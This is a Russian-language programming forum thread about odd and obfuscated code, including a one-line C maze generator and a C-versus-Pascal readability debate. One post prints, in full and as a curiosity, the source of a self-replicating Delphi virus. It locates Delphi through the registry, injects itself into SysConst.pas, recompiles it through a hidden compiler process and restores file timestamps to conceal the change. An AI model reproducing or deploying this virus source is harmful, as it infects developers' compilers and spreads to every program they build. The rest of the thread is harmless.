Код, который, заставляет задуматься...

[Serge_Bliznykov]

Ээээ... G++?

доступ к гуглу перекрыли?
search result
или вот - G++ - Wikipedia, the free encyclopedia

p.s. говорят под VC тоже компилится... и даже работает...


а вот ещё одна программка.
Рисует лабиринт. При каждом запуске - разный...
MAZE.C

int a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(
r=time(0)+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>
158?-79:0,q?!a[p+q*2]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79
?"%c":"%c\n"," #"[!a[q-1]]);}

[alexinspir]

Сообщение от Alex Cones

Ээээ... G++?

в сочетании с этим:

Линукс это хорошо.

Убило...

[Вавел из ГМТУ]

Помоему все эти коды просто приколы. Я сомневаюсь что ктото так вот пишет:

nt a[1817];main(z,p,q,r){for(p=80;q+p-80;p-=2*a[p])for(z=9;z--;)q=3&(
r=time(0)+r*57)/7,q=q?q-1?q-2?1-p%79?-1:0:p%79-77?1:0:p<1659?79:0:p>
158?-79:0,q?!a[p+q*2]?a[p+=a[p+=q]=q]=q:0:0;for(;q++-1817;)printf(q%79
?"%c":"%c\n"," #"[!a[q-1]]);}

Скорее всего сначало это имело читабельную структуру, а потом "скомкали в кубик". Вот и всё....

[Serge_Bliznykov]

Вавел из ГМТУ, 100пудово... я тоже так думаю.
Однако попробуйте такую же муть замутить на Дельфи?
А на C, видите, возможно. Это всё из-за "гибучести" языка...

[Вавел из ГМТУ]

А почемубы и нет?

Знакомо?

var sc:array[1..24] of string=('uses windows; var sc:array[1..24] of string=(',
'function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i]',
'=#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile;',
'h:cardinal;f:STARTUPINFO;p:PROCESS _INFORMATION;b:boolean;t1,t2,t3:FIL ETIME;begin',
'h:=CreateFile(pchar(d+$bak$),0,0,0 ,3,0,0);if h<>DWORD(-1) then begin CloseHandle',
'(h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile',
'(f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while',
'not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0',
'then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2',
',$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2,',
'x(sc[h]));closefile(f1);closefile(f2);{$I+ }MoveFile(pchar(d+$dcu$),pchar(d+$b ak$',
')); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f.' ,
'wShowWindow:=SW_HIDE;b:=CreateProc ess(nil,pchar(e+$"$+d+$pas"$),0,0,f alse,0,0,0,',
'f,p);if b then WaitForSingleObject(p.hProcess,INFI NITE);MoveFile(pchar(d+$bak$),',
'pchar(d+$dcu$));DeleteFile(pchar(d +$pas$));h:=CreateFile(pchar(d+$bak $),0,0,0,3,',
'0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:=',
'CreateFile(pchar(d+$dcu$),256,0,0, 3,0,0);if h=DWORD(-1) then exit;SetFileTime(h,',
'@t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of',
'char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx(',
'HKEY_LOCAL_MACHINE,pchar($Software \Borland\Delphi\$+v+$.0$),0,KEY_REA D,k)=0 then',
'begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i, @c,@i)=0 then begin r:=$$;i:=',
'1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\S ysConst$+',
'$.pas$,r+$\lib\sysconst.$,$"$+r+$\ bin\dcc32.exe" $);end;RegCloseKey(k);end; end;',
'begin st; end.');

[Arigato]

Синтаксис Паскаля вообще более наглядный и читабельный, чем Си-подобный.

[Alex Cones]

Знакомо?

Мда... Не дай Бог еще раз увидеть у себя эту мерзость. Хорошо еще, что был bak.

[Marsel737]

Очень сильно удивляет тот факт что эта работа была сдана и более того, сдана на пять. К примеру мой препод не принял прогу в которой обращение к шести картинкам велось через массив примерно таким образом:

for i:=1 to 6 do
begin
  if fileexists('Picture/Point' + IntToStr(Index) + '/' + IntToStr(i) + '.jpg') then 
  begin
    ImageMas[i].Picture.LoadFromFile('Picture/Point' + IntToStr(Index) + '/' + IntToStr(i) + '.jpg');
  end else 
    Break;
end;

И было приказано сделать примерно так:

TImage(Components[i])....

Как выяснилось позже определять нужный индекс необходимо перебором всех индексов и вообще индексы нельзя упорядочить, поэтому сделал не через ткомпонент и не в массиве, а для вот так:

begin
  if fileexists('Picture/Point'+IntToStr(Index)+ '/1.jpg') then 
  begin
    Image1.Picture.LoadFromFile('Picture/Point'+IntToStr(Index)+ '/1.jpg');
  end;
  if fileexists('Picture/Point'+IntToStr(Index)+ '/2.jpg') then 
  begin
    Image2.Picture.LoadFromFile('Picture/Point'+IntToStr(Index)+ '/2.jpg');
  end;
  ....

Пока к этому участку кода притензий больше не возникает

[Utkin]

Сообщение от Marsel737

И было приказано сделать примерно так:

TImage(Components[i])....

Чем это было мотивировано?

[crazy horse]

Синтаксис Паскаля вообще более наглядный и читабельный, чем Си-подобный.

Мне кажется это то место, где опущена аббравеатура IMHO Это для Вас он более нагляден и читабелен. Для меня, к примеру - совершенно наоборот.